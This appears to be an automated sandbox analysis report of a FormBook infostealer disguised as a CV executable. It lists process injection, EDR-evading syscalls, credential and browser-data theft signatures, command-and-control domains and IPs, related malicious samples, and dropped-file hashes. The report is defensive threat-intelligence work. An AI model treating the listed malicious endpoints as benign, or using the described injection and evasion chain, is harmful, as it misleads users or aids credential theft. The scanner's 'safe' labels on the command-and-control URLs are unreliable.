                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1564118 Sample: CV_ Filipa Barbosa.exe Startdate: 27/11/2024 Architecture: WINDOWS Score: 100 28 www.logidant.xyz 2->28 30 www.egyshare.xyz 2->30 32 14 other IPs or domains 2->32 42 Multi AV Scanner detection for submitted file 2->42 44 Yara detected FormBook 2->44 46 Binary is likely a compiled AutoIt script file 2->46 50 3 other signatures 2->50 10 CV_ Filipa Barbosa.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Writes to foreign memory regions 10->64 66 Maps a DLL or memory area into another process 10->66 13 svchost.exe 10->13         started        process6 signatures7 68 Maps a DLL or memory area into another process 13->68 16 HgsHJMSZolWa.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 wlanext.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 HgsHJMSZolWa.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 logidant.xyz 45.141.156.114, 49712, 49714, 49720 YURTEH-ASUA Germany 22->34 36 www.egyshare.xyz 13.248.169.48, 49945, 49954, 49960 AMAZON-02US United States 22->36 38 9 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                CV_ Filipa Barbosa.exe58%ReversingLabsWin32.Trojan.AutoitInject
                CV_ Filipa Barbosa.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.exitomagnetico.online/983l/0%Avira URL Cloudsafe
                http://www.qqa79.top/dp98/0%Avira URL Cloudsafe
                http://www.wcq77.top/bryf/0%Avira URL Cloudsafe
                http://www.caj-bioteaque.online/fvpb/0%Avira URL Cloudsafe
                http://www.remedies.pro/hrap/0%Avira URL Cloudsafe
                http://www.egyshare.xyz/lp5b/0%Avira URL Cloudsafe
                http://www.mindfulmo.life/grm8/0%Avira URL Cloudsafe
                http://www.qqa79.top0%Avira URL Cloudsafe
                http://www.bcg.services/xz45/0%Avira URL Cloudsafe
                http://www.mffnow.info/1a34/0%Avira URL Cloudsafe
                http://www.logidant.xyz/ctvu/0%Avira URL Cloudsafe
                http://www.bienmaigrir.info/z7sc/0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                wcq77.top
                		154.23.184.194
                		truefalse
                  		unknown
                  www.remedies.pro
                  		13.248.169.48
                  		truefalse
                    		unknown
                    qqa79.top
                    		38.47.233.21
                    		truefalse
                      		unknown
                      www.caj-bioteaque.online
                      		212.123.41.108
                      		truefalse
                        		unknown
                        www.mindfulmo.life
                        		209.74.77.108
                        		truefalse
                          		unknown
                          logidant.xyz
                          		45.141.156.114
                          		truetrue
                            		unknown
                            www.bienmaigrir.info
                            		35.220.176.144
                            		truefalse
                              		unknown
                              www.1secondlending.one
                              		43.205.198.29
                              		truefalse
                                		high
                                www.exitomagnetico.online
                                		104.21.36.5
                                		truefalse
                                  		unknown
                                  www.bcg.services
                                  		199.59.243.227
                                  		truefalse
                                    		high
                                    www.mffnow.info
                                    		104.21.91.191
                                    		truefalse
                                      		unknown
                                      www.egyshare.xyz
                                      		13.248.169.48
                                      		truetrue
                                        		unknown
                                        www.logidant.xyz
                                        		unknown
                                        		unknowntrue
                                          		unknown
                                          www.wcq77.top
                                          		unknown
                                          		unknownfalse
                                            		unknown
                                            www.betmatchx.online
                                            		unknown
                                            		unknownfalse
                                              		unknown
                                              www.qqa79.top
                                              		unknown
                                              		unknownfalse
                                                		unknown

                                                Contacted URLs

                                                NameMaliciousAntivirus DetectionReputation
                                                http://www.bcg.services/xz45/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.wcq77.top/bryf/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.qqa79.top/dp98/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.exitomagnetico.online/983l/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.mffnow.info/1a34/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.remedies.pro/hrap/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.mindfulmo.life/grm8/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.caj-bioteaque.online/fvpb/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.egyshare.xyz/lp5b/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.logidant.xyz/ctvu/false
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.bienmaigrir.info/z7sc/false
                                                • Avira URL Cloud: safe
                                                		unknown

                                                URLs from Memory and Binaries

                                                NameSourceMaliciousAntivirus DetectionReputation
                                                http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verificationHgsHJMSZolWa.exe, 00000008.00000002.3965444751.0000000003E08000.00000004.00000001.00040000.00000000.sdmpfalse
                                                  		high
                                                  https://ac.ecosia.org/autocomplete?q=wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.google.comwlanext.exe, 00000005.00000002.3966124585.0000000004E22000.00000004.10000000.00040000.00000000.sdmp, wlanext.exe, 00000005.00000002.3968276769.0000000006870000.00000004.00000800.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965444751.0000000003952000.00000004.00000001.00040000.00000000.sdmpfalse
                                                      		high
                                                      https://duckduckgo.com/chrome_newtabwlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://duckduckgo.com/ac/?q=wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.google.com/images/branding/product/ico/googleg_lodp.icowlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchwlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.qqa79.topHgsHJMSZolWa.exe, 00000008.00000002.3963754967.0000000000C57000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://www.ecosia.org/newtab/wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high

                                                                      World Map of Contacted IPs

                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs

                                                                      Public IPs

                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      45.141.156.114
                                                                      		logidant.xyzGermany
                                                                      		30860YURTEH-ASUAtrue
                                                                      38.47.233.21
                                                                      		qqa79.topUnited States
                                                                      		174COGENT-174USfalse
                                                                      209.74.77.108
                                                                      		www.mindfulmo.lifeUnited States
                                                                      		31744MULTIBAND-NEWHOPEUSfalse
                                                                      13.248.169.48
                                                                      		www.remedies.proUnited States
                                                                      		16509AMAZON-02UStrue
                                                                      212.123.41.108
                                                                      		www.caj-bioteaque.onlineGermany
                                                                      		12915EPAG-ASDEfalse
                                                                      43.205.198.29
                                                                      		www.1secondlending.oneJapan4249LILLY-ASUSfalse
                                                                      104.21.91.191
                                                                      		www.mffnow.infoUnited States
                                                                      		13335CLOUDFLARENETUSfalse
                                                                      199.59.243.227
                                                                      		www.bcg.servicesUnited States
                                                                      		395082BODIS-NJUSfalse
                                                                      154.23.184.194
                                                                      		wcq77.topUnited States
                                                                      		174COGENT-174USfalse
                                                                      35.220.176.144
                                                                      		www.bienmaigrir.infoUnited States
                                                                      		15169GOOGLEUSfalse
                                                                      104.21.36.5
                                                                      		www.exitomagnetico.onlineUnited States
                                                                      		13335CLOUDFLARENETUSfalse

                                                                      General Information

                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                      Analysis ID:1564118
                                                                      Start date and time:2024-11-27 20:45:17 +01:00
                                                                      Joe Sandbox product:CloudBasic
                                                                      Overall analysis duration:0h 10m 41s
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:full
                                                                      Cookbook file name:default.jbs
                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                      Number of analysed new started processes analysed:10
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:2
                                                                      Technologies:
                                                                      • HCA enabled
                                                                      • EGA enabled
                                                                      • AMSI enabled
                                                                      Analysis Mode:default
                                                                      Analysis stop reason:Timeout
                                                                      Sample name:CV_ Filipa Barbosa.exe
                                                                      Detection:MAL
                                                                      Classification:mal100.troj.spyw.evad.winEXE@7/3@18/11
                                                                      EGA Information:
                                                                      • Successful, ratio: 75%
                                                                      HCA Information:
                                                                      • Successful, ratio: 90%
                                                                      • Number of executed functions: 47
                                                                      • Number of non-executed functions: 297
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .exe
                                                                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                      Warnings

                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                      • VT rate limit hit for: CV_ Filipa Barbosa.exe

                                                                      Simulations

                                                                      Behavior and APIs

                                                                      TimeTypeDescription
                                                                      14:47:39API Interceptor9541134x Sleep call for process: wlanext.exe modified

                                                                      Joe Sandbox View / Context

                                                                      IPs

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                      45.141.156.114CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                      • www.logidant.xyz/ctvu/
                                                                      Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                                      • www.logidant.xyz/iuvu/
                                                                      CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                      • www.logidant.xyz/ctvu/
                                                                      38.47.233.21Project Breakdown Doc.exeGet hashmaliciousFormBookBrowse
                                                                        209.74.77.108Payment_Confirmation_pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • www.innovateideas.xyz/4wqa/
                                                                        IETC-24017.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • www.urbanfashion.website/aezw/
                                                                        VSP469620.exeGet hashmaliciousFormBookBrowse
                                                                        • www.urbanxplore.info/chlo/?9HaD=WJ8Pjkl58Iqvi8v+346A7W2JCurCP35uavULUkOWxAdWurHwpVHOzp+Wq3EHGCpSI2RFmnu5nAtTba/o9p0CIyXXw9XhC0V5AfBtSRheiGahxikEfA==&wdv4=1RD4
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • www.mindfulmo.life/grm8/
                                                                        Mandatory Notice for all December Leave and Vacation application.exeGet hashmaliciousFormBookBrowse
                                                                        • www.hobbihub.info/i5gf/
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • www.mindfulmo.life/grm8/
                                                                        13.248.169.48attached order.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • www.aktmarket.xyz/wb7v/
                                                                        file.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • www.gupiao.bet/t3a1/
                                                                        DO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • www.krshop.shop/grhe/
                                                                        Fi#U015f.exeGet hashmaliciousFormBookBrowse
                                                                        • www.a1shop.shop/5cnx/
                                                                        ZAMOWIEN.BAT.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                        • www.tals.xyz/tj5o/
                                                                        santi.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lirio.shop/qp0h/
                                                                        PAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                                        • www.optimismbank.xyz/98j3/
                                                                        CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                                        • www.tals.xyz/cpgr/
                                                                        VSP469620.exeGet hashmaliciousFormBookBrowse
                                                                        • www.heliopsis.xyz/cclj/?9HaD=8+p9jI+W8p4gGfkrJ06IbG7GVrDrFE39Gbevi7MMoG/mxV0OJ3bBQ6ZfzHGiIebJDzxdJU835govK3Wq3/2OXcUb6pzjLf8wiqFw/QHcYMK4syzjiA==&wdv4=1RD4
                                                                        CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                                        • www.tals.xyz/cpgr/

                                                                        Domains

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        www.mindfulmo.lifeCV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.77.108
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.77.108
                                                                        www.remedies.proCV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 13.248.169.48
                                                                        www.bcg.servicesDOC_114542366.vbeGet hashmaliciousFormBookBrowse
                                                                        • 199.59.243.227
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.59.243.227
                                                                        need quotations.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.59.243.227
                                                                        PO-DC13112024_pdf.vbsGet hashmaliciousUnknownBrowse
                                                                        • 199.59.243.227
                                                                        www.mffnow.infoCV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 188.114.96.3
                                                                        www.caj-bioteaque.onlineIETC-24017.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 212.123.41.108
                                                                        www.exitomagnetico.onlineCV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 188.114.96.3
                                                                        www.1secondlending.onePAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                                        • 43.205.198.29
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 43.205.198.29
                                                                        Project Breakdown Doc.exeGet hashmaliciousFormBookBrowse
                                                                        • 43.205.198.29
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 43.205.198.29

                                                                        ASNs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        AMAZON-02USakcqrfutuo.elfGet hashmaliciousUnknownBrowse
                                                                        • 13.61.114.244
                                                                        pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                                                                        • 13.52.39.51
                                                                        file.exeGet hashmaliciousAmadey, Nymaim, Stealc, VidarBrowse
                                                                        • 18.238.49.74
                                                                        jmhgeojeri.elfGet hashmaliciousUnknownBrowse
                                                                        • 3.248.17.76
                                                                        jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                        • 34.211.104.231
                                                                        pbnpvwfhco.elfGet hashmaliciousUnknownBrowse
                                                                        • 52.34.106.104
                                                                        https://michiganchronicle.com/philanthropy-under-siege-how-the-fight-against-the-fearless-fund-threatens-black-womens-progress-in-detroit/Get hashmaliciousUnknownBrowse
                                                                        • 108.158.75.62
                                                                        https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.orgGet hashmaliciousUnknownBrowse
                                                                        • 108.158.75.29
                                                                        https://gold.lms.pskn.ca/login.php?client_id=goldGet hashmaliciousUnknownBrowse
                                                                        • 35.182.60.76
                                                                        file.exeGet hashmaliciousPureCrypter, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                        • 18.238.49.52
                                                                        YURTEH-ASUACV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 45.141.156.114
                                                                        Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                                        • 45.141.156.114
                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                        • 45.141.156.114
                                                                        support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                        • 31.42.187.210
                                                                        support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                        • 31.42.187.210
                                                                        SI HE Voy - TC Relet 11.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                        • 152.89.61.240
                                                                        MV ALEXOS_VESSEL'S DESC.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                        • 152.89.61.240
                                                                        https://r2.ddlnk.net/c/AQj0-RUQuwkYipioASC0cRmrHeGLBOb7t9m7_CWaa81LkCY1aSe2ilmnvwK5PXzQGet hashmaliciousUnknownBrowse
                                                                        • 152.89.61.240
                                                                        https://campaign-statistics.com/link_click/OOIhh4OKHe_NcHPG/8cb76dcdebff138ed04c1331049114e6Get hashmaliciousUnknownBrowse
                                                                        • 152.89.61.240
                                                                        https://campaign-statistics.com/link_click/ODQJBme7yo_NcFtX/22e0ea1236db29f11ee5970fcc1e783cGet hashmaliciousUnknownBrowse
                                                                        • 152.89.61.240
                                                                        COGENT-174USakcqrfutuo.elfGet hashmaliciousUnknownBrowse
                                                                        • 38.10.253.112
                                                                        pbnpvwfhco.elfGet hashmaliciousUnknownBrowse
                                                                        • 38.44.183.120
                                                                        TNT Express Delivery Consignment AWD 87993766479.vbsGet hashmaliciousFormBookBrowse
                                                                        • 38.54.112.227
                                                                        Pre Alert PO TVKJEANSA00967.bat.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 154.23.176.197
                                                                        pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                                                                        • 38.216.7.11
                                                                        mipsel.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 38.189.106.204
                                                                        arm5.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 38.251.250.69
                                                                        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 38.88.81.215
                                                                        x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 38.225.22.135
                                                                        x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                        • 38.221.96.77
                                                                        MULTIBAND-NEWHOPEUSARRIVAL NOTICE.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 209.74.77.107
                                                                        Payment_Confirmation_pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 209.74.77.108
                                                                        OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.77.107
                                                                        W3MzrFzSF0.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 209.74.77.109
                                                                        FACTURA 24V70 VINS.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.64.190
                                                                        DO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 209.74.77.109
                                                                        packing list G25469.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.64.59
                                                                        IETC-24017.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                        • 209.74.77.108
                                                                        PAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.77.109
                                                                        file.exeGet hashmaliciousFormBookBrowse
                                                                        • 209.74.77.109

                                                                        JA3 Fingerprints

                                                                        ⊘No context

                                                                        Dropped Files

                                                                        ⊘No context

                                                                        Created / dropped Files

                                                                        C:\Users\user\AppData\Local\Temp\7390-mXL

                                                                        Download File
                                                                        Process:C:\Windows\SysWOW64\wlanext.exe
                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                        Category:dropped
                                                                        Size (bytes):196608
                                                                        Entropy (8bit):1.1209886597424439
                                                                        Encrypted:false
                                                                        SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
                                                                        MD5:EFD26666EAE0E87B32082FF52F9F4C5E
                                                                        SHA1:603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
                                                                        SHA-256:67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
                                                                        SHA-512:28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
                                                                        Malicious:false
                                                                        Reputation:moderate, very likely benign file
                                                                        Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                        C:\Users\user\AppData\Local\Temp\aut423E.tmp

                                                                        Download File
                                                                        Process:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):287744
                                                                        Entropy (8bit):7.993188911960818
                                                                        Encrypted:true
                                                                        SSDEEP:3072:fypbzCSKm54uJvDdzVqy4a9+CQF6h0tZMmQsu56mCL5hzmSF28YBfGiNJO5NNcQc:fGKmjJLdsa9h0fPmKzmS8ZcMiaKNMqK
                                                                        MD5:ADC226BE0375B6DE414EDADAF17F85E0
                                                                        SHA1:AC6EB814B0F83D7B57D13487EC95EEC798ACD91D
                                                                        SHA-256:0AF8AFAF4A0449DEE39E34ED50DBFF8C1F8E1C1F5E7CDF87C6DFBC4A78DC1AED
                                                                        SHA-512:EBCC35F036A59CF17D2460CFB9A2EAB754569C5DD0B3DFB76512A24CB7A2F8816EFF62A5AE48052A98B18DAE679D8FD220438E4A476B61C34A044E5E2E241BAD
                                                                        Malicious:false
                                                                        Reputation:low
                                                                        Preview:t..NSTU1R1JQ..PK.9HHNPTUqV1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V.JQLIO.E9.A.q.T}...9%4p;9V/:/=t6P8_%%l%5k9L&h'>t.~..'>("~FF3lHNPTU1VHKX.z0,..(/.m42.L..v'7.Q..r03.+.m, .."Z u.7.U1V1JQLG..K9.IOP.-..1JQLGPKK.HJO[U^1VcNQLGPKK9HHnDTU1F1JQ<CPKKyHH^PTU3V1LQLGPKK9NHNPTU1V1:ULGRKK9HHNRT..V1ZQLWPKK9XHN@TU1V1JALGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU."T2%LGP..=HH^PTUcR1JALGPKK9HHNPTU1V.JQ,GPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLGPKK9HHNPTU1V1JQLG

                                                                        C:\Users\user\AppData\Local\Temp\underbalanced

                                                                        Download File
                                                                        Process:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):287744
                                                                        Entropy (8bit):7.993188911960818
                                                                        Encrypted:true
                                                                        SSDEEP:3072:fypbzCSKm54uJvDdzVqy4a9+CQF6h0tZMmQsu56mCL5hzmSF28YBfGiNJO5NNcQc:fGKmjJLdsa9h0fPmKzmS8ZcMiaKNMqK
                                                                        MD5:ADC226BE0375B6DE414EDADAF17F85E0
                                                                        SHA1:AC6EB814B0F83D7B57D13487EC95EEC798ACD91D
                                                                        SHA-256:0AF8AFAF4A0449DEE39E34ED50DBFF8C1F8E1C1F5E7CDF87C6DFBC4A78DC1AED
                                                                        SHA-512:EBCC35F036A59CF17D2460CFB9A2EAB754569C5DD0B3DFB76512A24CB7A2F8816EFF62A5AE48052A98B18DAE679D8FD220438E4A476B61C34A044E5E2E241BAD
                                                                        Malicious:false
                                                                        Reputation:low
